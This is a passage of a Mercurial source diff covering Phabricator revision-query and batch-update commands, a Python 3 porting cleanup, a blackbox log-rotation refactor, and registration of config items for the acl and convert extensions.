+    could be used to filter patches by status. For performance reason, they
+    only represent a subset of non-status selections and cannot be used alone.
+
+    For example, ``:D6+8-(2+D4)`` selects a stack up to D6, plus D8 and exclude
+    D2 and D4. ``:D9 & needsreview`` selects "Needs Review" revisions in a
+    stack up to D9.
 
     If --stack is given, follow dependencies information and read all patches.
+    It is equivalent to the ``:`` operator.
     """
-    try:
-        revid = int(revid.split('/')[-1].replace('D', ''))
-    except ValueError:
-        raise error.Abort(_('invalid Revision ID: %s') % revid)
-    readpatch(repo, {'ids': [revid]}, ui.write, opts.get('stack'))
+    if opts.get('stack'):
+        spec = ':(%s)' % spec
+    drevs = querydrev(repo, spec)
+    readpatch(repo, drevs, ui.write)
+
+@command('phabupdate',
+         [('', 'accept', False, _('accept revisions')),
+          ('', 'reject', False, _('reject revisions')),
+          ('', 'abandon', False, _('abandon revisions')),
+          ('', 'reclaim', False, _('reclaim revisions')),
+          ('m', 'comment', '', _('comment on the last revision')),
+         ], _('DREVSPEC [OPTIONS]'))
+def phabupdate(ui, repo, spec, **opts):
+    """update Differential Revision in batch
+
+    DREVSPEC selects revisions. See :hg:`help phabread` for its usage.
+    """
+    flags = [n for n in 'accept reject abandon reclaim'.split() if opts.get(n)]
+    if len(flags) > 1:
+        raise error.Abort(_('%s cannot be used together') % ', '.join(flags))
+
+    actions = []
+    for f in flags:
+        actions.append({'type': f, 'value': 'true'})
+
+    drevs = querydrev(repo, spec)
+    for i, drev in enumerate(drevs):
+        if i + 1 == len(drevs) and opts.get('comment'):
+            actions.append({'type': 'comment', 'value': opts['comment']})
+        if actions:
+            params = {'objectIdentifier': drev[r'phid'],
+                      'transactions': actions}
+            callconduit(repo, 'differential.revision.edit', params)
diff --git a/contrib/python3-whitelist b/contrib/python3-whitelist
--- a/contrib/python3-whitelist
+++ b/contrib/python3-whitelist
@@ -1,33 +1,75 @@
+test-addremove.t
 test-ancestor.py
 test-backwards-remove.t
+test-bheads.t
+test-bisect2.t
+test-bookmarks-merge.t
+test-bookmarks-strip.t
 test-branch-tag-confict.t
 test-casecollision.t
+test-changelog-exec.t
 test-check-commit.t
 test-check-execute.t
+test-check-module-imports.t
 test-check-pyflakes.t
 test-check-pylint.t
 test-check-shbang.t
+test-commit-unresolved.t
 test-contrib-check-code.t
 test-contrib-check-commit.t
+test-debugrename.t
+test-diff-copy-depth.t
+test-diff-hashes.t
 test-diff-issue2761.t
 test-diff-newlines.t
 test-diff-reverse.t
 test-diff-subdir.t
 test-dirstate-nonnormalset.t
 test-doctest.py
+test-double-merge.t
+test-duplicateoptions.py
 test-empty-dir.t
+test-empty-file.t
+test-empty.t
+test-encoding-func.py
 test-excessive-merge.t
+test-hghave.t
+test-imports-checker.t
 test-issue1089.t
+test-issue1877.t
 test-issue1993.t
+test-issue612.t
+test-issue619.t
+test-issue672.t
 test-issue842.t
+test-journal-exists.t
 test-locate.t
 test-lrucachedict.py
 test-manifest.py
+test-match.py
 test-merge-default.t
 test-merge2.t
+test-merge4.t
 test-merge5.t
+test-permissions.t
+test-push-checkheads-pruned-B1.t
+test-push-checkheads-pruned-B6.t
+test-push-checkheads-pruned-B7.t
+test-push-checkheads-superceed-A1.t
+test-push-checkheads-superceed-A4.t
+test-push-checkheads-superceed-A5.t
+test-push-checkheads-superceed-A8.t
+test-push-checkheads-unpushed-D1.t
+test-push-checkheads-unpushed-D6.t
+test-push-checkheads-unpushed-D7.t
+test-rename-merge1.t
+test-rename.t
 test-revlog-packentry.t
 test-run-tests.py
+test-show-stack.t
+test-status-terse.t
+test-terse-status.t
 test-unified-test.t
+test-update-issue1456.t
 test-update-reverse.t
 test-xdg.t
diff --git a/contrib/simplemerge b/contrib/simplemerge
--- a/contrib/simplemerge
+++ b/contrib/simplemerge
@@ -1,12 +1,21 @@
 #!/usr/bin/env python
-
-from mercurial import demandimport
-demandimport.enable()
+from __future__ import absolute_import
 
 import getopt
 import sys
+
+import hgdemandimport
+hgdemandimport.enable()
+
 from mercurial.i18n import _
-from mercurial import error, simplemerge, fancyopts, util, ui
+from mercurial import (
+    context,
+    error,
+    fancyopts,
+    simplemerge,
+    ui as uimod,
+    util,
+)
 
 options = [('L', 'label', [], _('labels to use on conflict markers')),
            ('a', 'text', None, _('treat all files as text')),
@@ -55,7 +64,12 @@
         sys.exit(0)
     if len(args) != 3:
             raise ParseError(_('wrong number of arguments'))
-    sys.exit(simplemerge.simplemerge(ui.ui.load(), *args, **opts))
+    local, base, other = args
+    sys.exit(simplemerge.simplemerge(uimod.ui.load(),
+                                     context.arbitraryfilectx(local),
+                                     context.arbitraryfilectx(base),
+                                     context.arbitraryfilectx(other),
+                                     **opts))
 except ParseError as e:
     sys.stdout.write("%s: %s\n" % (sys.argv[0], e))
     showhelp()
diff --git a/contrib/synthrepo.py b/contrib/synthrepo.py
--- a/contrib/synthrepo.py
+++ b/contrib/synthrepo.py
@@ -479,7 +479,7 @@
         date = min(0x7fffffff, max(0, date))
         user = random.choice(words) + '@' + random.choice(words)
         mc = context.memctx(repo, pl, makeline(minimum=2),
-                            sorted(changes.iterkeys()),
+                            sorted(changes),
                             filectxfn, user, '%d %d' % (date, pick(tzoffset)))
         newnode = mc.commit()
         heads.add(repo.changelog.rev(newnode))
diff --git a/contrib/undumprevlog b/contrib/undumprevlog
--- a/contrib/undumprevlog
+++ b/contrib/undumprevlog
@@ -3,7 +3,7 @@
 # $ hg init
 # $ undumprevlog < repo.dump
 
-from __future__ import absolute_import
+from __future__ import absolute_import, print_function
 
 import sys
 from mercurial import (
@@ -27,7 +27,7 @@
     if l.startswith("file:"):
         f = l[6:-1]
         r = revlog.revlog(opener, f)
-        print f
+        print(f)
     elif l.startswith("node:"):
         n = node.bin(l[6:-1])
     elif l.startswith("linkrev:"):
diff --git a/doc/Makefile b/doc/Makefile
--- a/doc/Makefile
+++ b/doc/Makefile
@@ -18,7 +18,7 @@
 html: $(HTML)
 
 common.txt $(SOURCES) $(SOURCES:%.txt=%.gendoc.txt): $(GENDOC)
-	${PYTHON} gendoc.py $(basename $@) > $@.tmp
+	${PYTHON} gendoc.py "$(basename $@)" > $@.tmp
 	mv $@.tmp $@
 
 %: %.txt %.gendoc.txt common.txt
@@ -39,8 +39,8 @@
 install: man
 	for i in $(MAN) ; do \
 	  subdir=`echo $$i | sed -n 's/^.*\.\([0-9]\)$$/man\1/p'` ; \
-	  mkdir -p $(DESTDIR)$(MANDIR)/$$subdir ; \
-	  $(INSTALL) $$i $(DESTDIR)$(MANDIR)/$$subdir ; \
+	  mkdir -p "$(DESTDIR)$(MANDIR)"/$$subdir ; \
+	  $(INSTALL) $$i "$(DESTDIR)$(MANDIR)"/$$subdir ; \
 	done
 
 clean:
diff --git a/hg b/hg
--- a/hg
+++ b/hg
@@ -6,6 +6,7 @@
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
+from __future__ import absolute_import
 
 import os
 import sys
@@ -36,10 +37,5 @@
     sys.stderr.write("(check your install and PYTHONPATH)\n")
     sys.exit(-1)
 
-import mercurial.util
-import mercurial.dispatch
-
-for fp in (sys.stdin, sys.stdout, sys.stderr):
-    mercurial.util.setbinary(fp)
-
-mercurial.dispatch.run()
+from mercurial import dispatch
+dispatch.run()
diff --git a/hgdemandimport/__init__.py b/hgdemandimport/__init__.py
--- a/hgdemandimport/__init__.py
+++ b/hgdemandimport/__init__.py
@@ -13,6 +13,7 @@
 
 from __future__ import absolute_import
 
+import os
 import sys
 
 if sys.version_info[0] >= 3:
@@ -68,6 +69,11 @@
 
 # Re-export.
 isenabled = demandimport.isenabled
-enable = demandimport.enable
 disable = demandimport.disable
 deactivated = demandimport.deactivated
+
+def enable():
+    # chg pre-imports modules so do not enable demandimport for it
+    if ('CHGINTERNALMARK' not in os.environ
+        and os.environ.get('HGDEMANDIMPORT') != 'disable'):
+        demandimport.enable()
diff --git a/hgdemandimport/demandimportpy2.py b/hgdemandimport/demandimportpy2.py
--- a/hgdemandimport/demandimportpy2.py
+++ b/hgdemandimport/demandimportpy2.py
@@ -28,7 +28,6 @@
 
 import __builtin__ as builtins
 import contextlib
-import os
 import sys
 
 contextmanager = contextlib.contextmanager
@@ -285,8 +284,7 @@
 
 def enable():
     "enable global demand-loading of modules"
-    if os.environ.get('HGDEMANDIMPORT') != 'disable':
-        builtins.__import__ = _demandimport
+    builtins.__import__ = _demandimport
 
 def disable():
     "disable global demand-loading of modules"
diff --git a/hgdemandimport/demandimportpy3.py b/hgdemandimport/demandimportpy3.py
--- a/hgdemandimport/demandimportpy3.py
+++ b/hgdemandimport/demandimportpy3.py
@@ -27,12 +27,10 @@
 from __future__ import absolute_import
 
 import contextlib
-import os
-import sys
-
 import importlib.abc
 import importlib.machinery
 import importlib.util
+import sys
 
 _deactivated = False
 
@@ -81,8 +79,7 @@
         pass
 
 def enable():
-    if os.environ.get('HGDEMANDIMPORT') != 'disable':
-        sys.path_hooks.insert(0, _makefinder)
+    sys.path_hooks.insert(0, _makefinder)
 
 @contextlib.contextmanager
 def deactivated():
diff --git a/hgext/acl.py b/hgext/acl.py
--- a/hgext/acl.py
+++ b/hgext/acl.py
@@ -198,6 +198,7 @@
 from mercurial.i18n import _
 from mercurial import (
     error,
+    extensions,
     match,
     registrar,
     util,
@@ -218,6 +219,26 @@
 configitem('acl', 'config',
     default=None,
 )
+configitem('acl.groups', '.*',
+    default=None,
+    generic=True,
+)
+configitem('acl.deny.branches', '.*',
+    default=None,
+    generic=True,
+)
+configitem('acl.allow.branches', '.*',
+    default=None,
+    generic=True,
+)
+configitem('acl.deny', '.*',
+    default=None,
+    generic=True,
+)
+configitem('acl.allow', '.*',
+    default=None,
+    generic=True,
+)
 configitem('acl', 'sources',
     default=lambda: ['serve'],
 )
@@ -287,7 +308,23 @@
         return match.match(repo.root, '', pats)
     return util.never
 
+def ensureenabled(ui):
+    """make sure the extension is enabled when used as hook
+
+    When acl is used through hooks, the extension is never formally loaded and
+    enabled. This has some side effect, for example the config declaration is
+    never loaded. This function ensure the extension is enabled when running
+    hooks.
+    """
+    if 'acl' in ui._knownconfig:
+        return
+    ui.setconfig('extensions', 'acl', '', source='internal')
+    extensions.loadall(ui, ['acl'])
+
 def hook(ui, repo, hooktype, node=None, source=None, **kwargs):
+
+    ensureenabled(ui)
+
     if hooktype not in ['pretxnchangegroup', 'pretxncommit']:
         raise error.Abort(_('config error - hook type "%s" cannot stop '
                            'incoming changesets nor commits') % hooktype)
diff --git a/hgext/amend.py b/hgext/amend.py
--- a/hgext/amend.py
+++ b/hgext/amend.py
@@ -16,6 +16,7 @@
 from mercurial import (
     cmdutil,
     commands,
+    error,
     registrar,
 )
 
@@ -33,6 +34,7 @@
       _('mark new/missing files as added/removed before committing')),
      ('e', 'edit', None, _('invoke editor on commit messages')),
      ('i', 'interactive', None, _('use interactive mode')),
+     ('n', 'note', '', _('store a note on the amend')),
     ] + cmdutil.walkopts + cmdutil.commitopts + cmdutil.commitopts2,
     _('[OPTION]... [FILE]...'),
     inferrepo=True)
@@ -44,6 +46,8 @@
 
     See :hg:`help commit` for more details.
     """
+    if len(opts['note']) > 255:
+        raise error.Abort(_("cannot store a note of more than 255 bytes"))
     with repo.wlock(), repo.lock():
         if not opts.get('logfile'):
             opts['message'] = opts.get('message') or repo['.'].description()
diff --git a/hgext/blackbox.py b/hgext/blackbox.py
--- a/hgext/blackbox.py
+++ b/hgext/blackbox.py
@@ -70,106 +70,73 @@
 configitem('blackbox', 'logsource',
     default=False,
 )
+configitem('blackbox', 'maxfiles',
+    default=7,
+)
+configitem('blackbox', 'track',
+    default=lambda: ['*'],
+)
 
 lastui = None
 
-filehandles = {}
+def _openlogfile(ui, vfs):
+    def rotate(oldpath, newpath):
+        try:
+            vfs.unlink(newpath)
+        except OSError as err:
+            if err.errno != errno.ENOENT:
+                ui.debug("warning: cannot remove '%s': %s\n" %
+                         (newpath, err.strerror))
+        try:
+            if newpath:
+                vfs.rename(oldpath, newpath)
+        except OSError as err:
+            if err.errno != errno.ENOENT:
+                ui.debug("warning: cannot rename '%s' to '%s': %s\n" %
+                         (newpath, oldpath, err.strerror))
 
-def _openlog(vfs):
-    path = vfs.join('blackbox.log')
-    if path in filehandles:
-        return filehandles[path]
-    filehandles[path] = fp = vfs('blackbox.log', 'a')
-    return fp
-
-def _closelog(vfs):
-    path = vfs.join('blackbox.log')
-    fp = filehandles[path]
-    del filehandles[path]
-    fp.close()
+    maxsize = ui.configbytes('blackbox', 'maxsize')
+    name = 'blackbox.log'
+    if maxsize > 0:
+        try:
+            st = vfs.stat(name)
+        except OSError:
+            pass
+        else:
+            if st.st_size >= maxsize:
+                path = vfs.join(name)
+                maxfiles = ui.configint('blackbox', 'maxfiles')
+                for i in xrange(maxfiles - 1, 1, -1):
+                    rotate(oldpath='%s.%d' % (path, i - 1),
+                           newpath='%s.%d' % (path, i))
+                rotate(oldpath=path,
+                       newpath=maxfiles > 0 and path + '.1')
+    return vfs(name, 'a')
 
 def wrapui(ui):
     class blackboxui(ui.__class__):
-        def __init__(self, src=None):
-            super(blackboxui, self).__init__(src)
-            if src is None:
-                self._partialinit()
-            else:
-                self._bbfp = getattr(src, '_bbfp', None)
-                self._bbinlog = False
-                self._bbrepo = getattr(src, '_bbrepo', None)
-                self._bbvfs = getattr(src, '_bbvfs', None)
-
-        def _partialinit(self):
-            if util.safehasattr(self, '_bbvfs'):
-                return
-            self._bbfp = None
-            self._bbinlog = False
-            self._bbrepo = None
-            self._bbvfs = None
-
-        def copy(self):
-            self._partialinit()
-            return self.__class__(self)
+        @property
+        def _bbvfs(self):
+            vfs = None
+            repo = getattr(self, '_bbrepo', None)
+            if repo:
+                vfs = repo.vfs
+                if not vfs.isdir('.'):
+                    vfs = None
+            return vfs
 
         @util.propertycache
         def track(self):
-            return self.configlist('blackbox', 'track', ['*'])
-
-        def _openlogfile(self):
-            def rotate(oldpath, newpath):
-                try:
-                    self._bbvfs.unlink(newpath)
-                except OSError as err:
-                    if err.errno != errno.ENOENT:
-                        self.debug("warning: cannot remove '%s': %s\n" %
-                                   (newpath, err.strerror))
-                try:
-                    if newpath:
-                        self._bbvfs.rename(oldpath, newpath)
-                except OSError as err:
-                    if err.errno != errno.ENOENT:
-                        self.debug("warning: cannot rename '%s' to '%s': %s\n" %
-                                   (newpath, oldpath, err.strerror))
-
-            fp = _openlog(self._bbvfs)
-            maxsize = self.configbytes('blackbox', 'maxsize')
-            if maxsize > 0:
-                st = self._bbvfs.fstat(fp)
-                if st.st_size >= maxsize:
-                    path = fp.name
-                    _closelog(self._bbvfs)
-                    maxfiles = self.configint('blackbox', 'maxfiles', 7)
-                    for i in xrange(maxfiles - 1, 1, -1):
-                        rotate(oldpath='%s.%d' % (path, i - 1),
-                               newpath='%s.%d' % (path, i))
-                    rotate(oldpath=path,
-                           newpath=maxfiles > 0 and path + '.1')
-                    fp = _openlog(self._bbvfs)
-            return fp
-
-        def _bbwrite(self, fmt, *args):
-            self._bbfp.write(fmt % args)
-            self._bbfp.flush()
+            return self.configlist('blackbox', 'track')
 
         def log(self, event, *msg, **opts):
             global lastui
             super(blackboxui, self).log(event, *msg, **opts)
-            self._partialinit()
 
             if not '*' in self.track and not event in self.track:
                 return
 
-            if self._bbfp:
-                ui = self
-            elif self._bbvfs:
-                try:
-                    self._bbfp = self._openlogfile()
-                except (IOError, OSError) as err:
-                    self.debug('warning: cannot write to blackbox.log: %s\n' %
-                               err.strerror)
-                    del self._bbvfs
-                    self._bbfp = None
+            if self._bbvfs:
                 ui = self
             else:
                 # certain ui instances exist outside the context of
@@ -177,47 +144,52 @@
                 # was seen.
                 ui = lastui
 
-            if not ui or not ui._bbfp:
+            if not ui:
                 return
-            if not lastui or ui._bbrepo:
+            vfs = ui._bbvfs
+            if not vfs:
+                return
+
+            repo = getattr(ui, '_bbrepo', None)
+            if not lastui or repo:
                 lastui = ui
-            if ui._bbinlog:
-                # recursion guard
+            if getattr(ui, '_bbinlog', False):
+                # recursion and failure guard
                 return
+            ui._bbinlog = True
+            default = self.configdate('devel', 'default-date')
+            date = util.datestr(default, '%Y/%m/%d %H:%M:%S')
+            user = util.getuser()
+            pid = '%d' % util.getpid()
+            formattedmsg = msg[0] % msg[1:]
+            rev = '(unknown)'
+            changed = ''
+            if repo:
+                ctx = repo[None]
+                parents = ctx.parents()
+                rev = ('+'.join([hex(p.node()) for p in parents]))
+                if (ui.configbool('blackbox', 'dirty') and
+                    ctx.dirty(missing=True, merge=False, branch=False)):
+                    changed = '+'
+            if ui.configbool('blackbox', 'logsource'):
+                src = ' [%s]' % event
+            else:
+                src = ''
             try:
-                ui._bbinlog = True
-                default = self.configdate('devel', 'default-date')
-                date = util.datestr(default, '%Y/%m/%d %H:%M:%S')
-                user = util.getuser()
-                pid = '%d' % util.getpid()
-                formattedmsg = msg[0] % msg[1:]
-                rev = '(unknown)'
-                changed = ''
-                if ui._bbrepo:
-                    ctx = ui._bbrepo[None]
-                    parents = ctx.parents()
-                    rev = ('+'.join([hex(p.node()) for p in parents]))
-                    if (ui.configbool('blackbox', 'dirty') and
-                        ctx.dirty(missing=True, merge=False, branch=False)):
-                        changed = '+'
-                if ui.configbool('blackbox', 'logsource'):
-                    src = ' [%s]' % event
-                else:
-                    src = ''
-                try:
-                    ui._bbwrite('%s %s @%s%s (%s)%s> %s',
-                        date, user, rev, changed, pid, src, formattedmsg)
-                except IOError as err:
-                    self.debug('warning: cannot write to blackbox.log: %s\n' %
-                               err.strerror)
-            finally:
+                fmt = '%s %s @%s%s (%s)%s> %s'
+                args = (date, user, rev, changed, pid, src, formattedmsg)
+                with _openlogfile(ui, vfs) as fp:
+                    fp.write(fmt % args)
+            except (IOError, OSError) as err:
+                self.debug('warning: cannot write to blackbox.log: %s\n' %
+                           err.strerror)
+                # do not restore _bbinlog intentionally to avoid failed
+                # logging again
+            else:
                 ui._bbinlog = False
 
         def setrepo(self, repo):
-            self._bbfp = None
-            self._bbinlog = False
             self._bbrepo = repo
-            self._bbvfs = repo.vfs
 
     ui.__class__ = blackboxui
     uimod.ui = blackboxui
@@ -234,6 +206,13 @@
 
     if util.safehasattr(ui, 'setrepo'):
         ui.setrepo(repo)
+
+        # Set lastui even if ui.log is not called. This gives blackbox a
+        # fallback place to log.
+        global lastui
+        if lastui is None:
+            lastui = ui
+
     repo._wlockfreeprefix.add('blackbox.log')
 
 @command('^blackbox',
diff --git a/hgext/bugzilla.py b/hgext/bugzilla.py
--- a/hgext/bugzilla.py
+++ b/hgext/bugzilla.py
@@ -412,11 +412,9 @@
 
     def filter_real_bug_ids(self, bugs):
         '''remove bug IDs that do not exist in Bugzilla from bugs.'''
-        pass
 
     def filter_cset_known_bug_ids(self, node, bugs):
         '''remove bug IDs where node occurs in comment text from bugs.'''
-        pass
 
     def updatebug(self, bugid, newstate, text, committer):
         '''update the specified bug. Add comment text and set new states.
@@ -424,7 +422,6 @@
         If possible add the comment as being from the committer of
         the changeset. Otherwise use the default Bugzilla user.
         '''
-        pass
 
     def notify(self, bugs, committer):
         '''Force sending of Bugzilla notification emails.
@@ -432,7 +429,6 @@
         Only required if the access method does not trigger notification
         emails automatically.
         '''
-        pass
 
 # Bugzilla via direct access to MySQL database.
 class bzmysql(bzaccess):
diff --git a/hgext/convert/__init__.py b/hgext/convert/__init__.py
--- a/hgext/convert/__init__.py
+++ b/hgext/convert/__init__.py
@@ -28,6 +28,103 @@
 # leave the attribute unspecified.
 testedwith = 'ships-with-hg-core'
 
+configtable = {}
+configitem = registrar.configitem(configtable)
+
+configitem('convert', 'cvsps.cache',
+    default=True,
+)
+configitem('convert', 'cvsps.fuzz',
+    default=60,
+)
+configitem('convert', 'cvsps.logencoding',
+    default=None,
+)
+configitem('convert', 'cvsps.mergefrom',
+    default=None,
+)
+configitem('convert', 'cvsps.mergeto',
+    default=None,
+)
+configitem('convert', 'git.committeractions',
+    default=lambda: ['messagedifferent'],
+)
+configitem('convert', 'git.extrakeys',
+    default=list,
+)
+configitem('convert', 'git.findcopiesharder',
+    default=False,
+)
+configitem('convert', 'git.remoteprefix',
+    default='remote',
+)
+configitem('convert', 'git.renamelimit',
+    default=400,
+)
+configitem('convert', 'git.saverev',
+    default=True,
+)
+configitem('convert', 'git.similarity',
+    default=50,
+)
+configitem('convert', 'git.skipsubmodules',
+    default=False,
+)
+configitem('convert', 'hg.clonebranches',
+    default=False,
+)
+configitem('convert', 'hg.ignoreerrors',
+    default=False,
+)
+configitem('convert', 'hg.revs',
+    default=None,
+)
+configitem('convert', 'hg.saverev',
+    default=False,
+)
+configitem('convert', 'hg.sourcename',
+    default=None,
+)
+configitem('convert', 'hg.startrev',
+    default=None,
+)
+configitem('convert', 'hg.tagsbranch',
+    default='default',
+)
+configitem('convert', 'hg.usebranchnames',
+    default=True,
+)
+configitem('convert', 'ignoreancestorcheck',
+    default=False,
+)
+configitem('convert', 'localtimezone',
+    default=False,
+)
+configitem('convert', 'p4.encoding',
+    default=lambda: convcmd.orig_encoding,
+)
+configitem('convert', 'p4.startrev',
+    default=0,
+)
+configitem('convert', 'skiptags',
+    default=False,
+)
+configitem('convert', 'svn.debugsvnlog',
+    default=True,
+)
+configitem('convert', 'svn.trunk',
+    default=None,
+)
+configitem('convert', 'svn.tags',
+    default=None,
+)
+configitem('convert', 'svn.branches',
+    default=None,
+)
+configitem('convert', 'svn.startrev',
+    default=0,
+)
+
 # Commands definition was moved elsewhere to ease demandload job.
 
 @command('convert',
diff --git a/hgext/convert/bzr.py b/hgext/convert/bzr.py
--- a/hgext/convert/bzr.py
+++ b/hgext/convert/bzr.py
@@ -30,11 +30,12 @@
     import bzrlib.bzrdir
     import bzrlib.errors
     import bzrlib.revision
-    import bzrlib.revisionspec.RevisionSpec
+    import bzrlib.revisionspec
     bzrdir = bzrlib.bzrdir
     errors = bzrlib.errors
     revision = bzrlib.revision
     revisionspec = bzrlib.revisionspec
+    revisionspec.RevisionSpec
 except ImportError:
     pass
 
diff --git a/hgext/convert/common.py b/hgext/convert/common.py
--- a/hgext/convert/common.py
+++ b/hgext/convert/common.py
@@ -15,6 +15,7 @@
 
 from mercurial.i18n import _
 from mercurial import (
+    encoding,
     error,
     phases,
     util,
@@ -104,7 +105,6 @@
 
     def setrevmap(self, revmap):
         """set the map of already-converted revisions"""
-        pass
 
     def getheads(self):
         """Return a list of this repository's heads"""
@@ -181,7 +181,6 @@
 
     def converted(self, rev, sinkrev):
         '''Notify the source that a revision has been converted.'''
-        pass
 
     def hasnativeorder(self):
         """Return true if this source has a meaningful, native revision
@@ -275,7 +274,6 @@
         on the branch.
         branch: branch name for subsequent commits
         pbranches: (converted parent revision, parent branch) tuples"""
-        pass
 
     def setfilemapmode(self, active):
         """Tell the destination that we're using a filemap
@@ -285,7 +283,6 @@
         tells the destination that we're using a filemap and that it should
         filter empty revisions.
         """
-        pass
 
     def before(self):
         pass
@@ -299,7 +296,6 @@
         bookmarks: {bookmarkname: sink_rev_id, ...}
         where bookmarkname is an UTF-8 string.
         """
-        pass
 
     def hascommitfrommap(self, rev):
         """Return False if a rev mentioned in a filemap is known to not be
@@ -475,8 +471,9 @@
             try:
                 self.fp = open(self.path, 'a')
             except IOError as err:
-                raise error.Abort(_('could not open map file %r: %s') %
-                                 (self.path, err.strerror))
+                raise error.Abort(
+                    _('could not open map file %r: %s') %
+                    (self.path, encoding.strtolocal(err.strerror)))
         self.fp.write('%s %s\n' % (key, value))
         self.fp.flush()
         super(mapfile, self).__setitem__(key, value)
diff --git a/hgext/convert/convcmd.py b/hgext/convert/convcmd.py
--- a/hgext/convert/convcmd.py
+++ b/hgext/convert/convcmd.py
@@ -59,18 +59,18 @@
 
 def mapbranch(branch, branchmap):
     '''
-    >>> bmap = {'default': 'branch1'}
-    >>> for i in ['', None]:
+    >>> bmap = {b'default': b'branch1'}
+    >>> for i in [b'', None]:
     ...     mapbranch(i, bmap)
     'branch1'
     'branch1'
-    >>> bmap = {'None': 'branch2'}
-    >>> for i in ['', None]:
+    >>> bmap = {b'None': b'branch2'}
+    >>> for i in [b'', None]:
     ...     mapbranch(i, bmap)
     'branch2'
     'branch2'
-    >>> bmap = {'None': 'branch3', 'default': 'branch4'}
-    >>> for i in ['None', '', None, 'default', 'branch5']:
+    >>> bmap = {b'None': b'branch3', b'default': b'branch4'}
+    >>> for i in [b'None', b'', None, b'default', b'branch5']:
     ...     mapbranch(i, bmap)
     'branch3'
     'branch4'
@@ -87,7 +87,7 @@
     # At some point we used "None" literal to denote the default branch,
     # attempt to use that for backward compatibility.
     if (not branch):
-        branch = branchmap.get(str(None), branch)
+        branch = branchmap.get('None', branch)
     return branch
 
 source_converters = [
diff --git a/hgext/convert/cvs.py b/hgext/convert/cvs.py
--- a/hgext/convert/cvs.py
+++ b/hgext/convert/cvs.py
@@ -76,13 +76,13 @@
             id = None
 
             cache = 'update'
-            if not self.ui.configbool('convert', 'cvsps.cache', True):
+            if not self.ui.configbool('convert', 'cvsps.cache'):
                 cache = None
             db = cvsps.createlog(self.ui, cache=cache)
             db = cvsps.createchangeset(self.ui, db,
-                fuzz=int(self.ui.config('convert', 'cvsps.fuzz', 60)),
-                mergeto=self.ui.config('convert', 'cvsps.mergeto', None),
-                mergefrom=self.ui.config('convert', 'cvsps.mergefrom', None))
+                fuzz=int(self.ui.config('convert', 'cvsps.fuzz')),
+                mergeto=self.ui.config('convert', 'cvsps.mergeto'),
+                mergefrom=self.ui.config('convert', 'cvsps.mergefrom'))
 
             for cs in db:
                 if maxrev and cs.id > maxrev:
diff --git a/hgext/convert/cvsps.py b/hgext/convert/cvsps.py
--- a/hgext/convert/cvsps.py
+++ b/hgext/convert/cvsps.py
@@ -54,23 +54,23 @@
 def getrepopath(cvspath):
     """Return the repository path from a CVS path.
 
-    >>> getrepopath('/foo/bar')
+    >>> getrepopath(b'/foo/bar')
     '/foo/bar'
-    >>> getrepopath('c:/foo/bar')
+    >>> getrepopath(b'c:/foo/bar')
     '/foo/bar'
-    >>> getrepopath(':pserver:10/foo/bar')
+    >>> getrepopath(b':pserver:10/foo/bar')
     '/foo/bar'
-    >>> getrepopath(':pserver:10c:/foo/bar')
+    >>> getrepopath(b':pserver:10c:/foo/bar')
     '/foo/bar'
-    >>> getrepopath(':pserver:/foo/bar')
+    >>> getrepopath(b':pserver:/foo/bar')
     '/foo/bar'
-    >>> getrepopath(':pserver:c:/foo/bar')
+    >>> getrepopath(b':pserver:c:/foo/bar')
     '/foo/bar'
-    >>> getrepopath(':pserver:truc@foo.bar:/foo/bar')
+    >>> getrepopath(b':pserver:truc@foo.bar:/foo/bar')
     '/foo/bar'
-    >>> getrepopath(':pserver:truc@foo.bar:c:/foo/bar')
+    >>> getrepopath(b':pserver:truc@foo.bar:c:/foo/bar')
     '/foo/bar'
-    >>> getrepopath('user@server/path/to/repository')
+    >>> getrepopath(b'user@server/path/to/repository')
     '/path/to/repository'
     """
     # According to CVS manual, CVS paths are expressed like:
diff --git a/hgext/convert/filemap.py b/hgext/convert/filemap.py
--- a/hgext/convert/filemap.py
+++ b/hgext/convert/filemap.py
@@ -3,7 +3,8 @@
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
-from __future__ import absolute_import
+
+from __future__ import absolute_import, print_function
 
 import posixpath
 import shlex
@@ -18,7 +19,7 @@
 def rpairs(path):
     '''Yield tuples with path split at '/', starting with the full path.
     No leading, trailing or double '/', please.
-    >>> for x in rpairs('foo/bar/baz'): print x
+    >>> for x in rpairs(b'foo/bar/baz'): print(x)
     ('foo/bar/baz', '')
     ('foo/bar', 'baz')
     ('foo', 'bar/baz')
diff --git a/hgext/convert/git.py b/hgext/convert/git.py
--- a/hgext/convert/git.py
+++ b/hgext/convert/git.py
@@ -81,18 +81,16 @@
                                 path)
 
         # The default value (50) is based on the default for 'git diff'.
-        similarity = ui.configint('convert', 'git.similarity', default=50)
+        similarity = ui.configint('convert', 'git.similarity')
         if similarity < 0 or similarity > 100:
             raise error.Abort(_('similarity must be between 0 and 100'))
         if similarity > 0:
             self.simopt = ['-C%d%%' % similarity]
-            findcopiesharder = ui.configbool('convert', 'git.findcopiesharder',
-                                             False)
+            findcopiesharder = ui.configbool('convert', 'git.findcopiesharder')
             if findcopiesharder:
                 self.simopt.append('--find-copies-harder')
 
-            renamelimit = ui.configint('convert', 'git.renamelimit',
-                                       default=400)
+            renamelimit = ui.configint('convert', 'git.renamelimit')
             self.simopt.append('-l%d' % renamelimit)
         else:
             self.simopt = []
@@ -110,8 +108,7 @@
             raise error.Abort(_('copying of extra key is forbidden: %s') %
                               _(', ').join(sorted(banned)))
 
-        committeractions = self.ui.configlist('convert', 'git.committeractions',
-                                              'messagedifferent')
+        committeractions = self.ui.configlist('convert', 'git.committeractions')
 
         messagedifferent = None
         messagealways = None
@@ -264,8 +261,7 @@
         lcount = len(difftree)
         i = 0
 
-        skipsubmodules = self.ui.configbool('convert', 'git.skipsubmodules',
-                                            False)
+        skipsubmodules = self.ui.configbool('convert', 'git.skipsubmodules')
         def add(entry, f, isdest):
             seen.add(f)
             h = entry[3]
@@ -375,7 +371,7 @@
         tzs, tzh, tzm = tz[-5:-4] + "1", tz[-4:-2], tz[-2:]
         tz = -int(tzs) * (int(tzh) * 3600 + int(tzm))
         date = tm + " " + str(tz)
-        saverev = self.ui.configbool('convert', 'git.saverev', True)
+        saverev = self.ui.configbool('convert', 'git.saverev')
 
         c = common.commit(parents=parents, date=date, author=author,
                           desc=message,
@@ -448,7 +444,7 @@
         bookmarks = {}
 
         # Handle local and remote branches
-        remoteprefix = self.ui.config('convert', 'git.remoteprefix', 'remote')
+        remoteprefix = self.ui.config('convert', 'git.remoteprefix')
         reftypes = [
             # (git prefix, hg prefix)
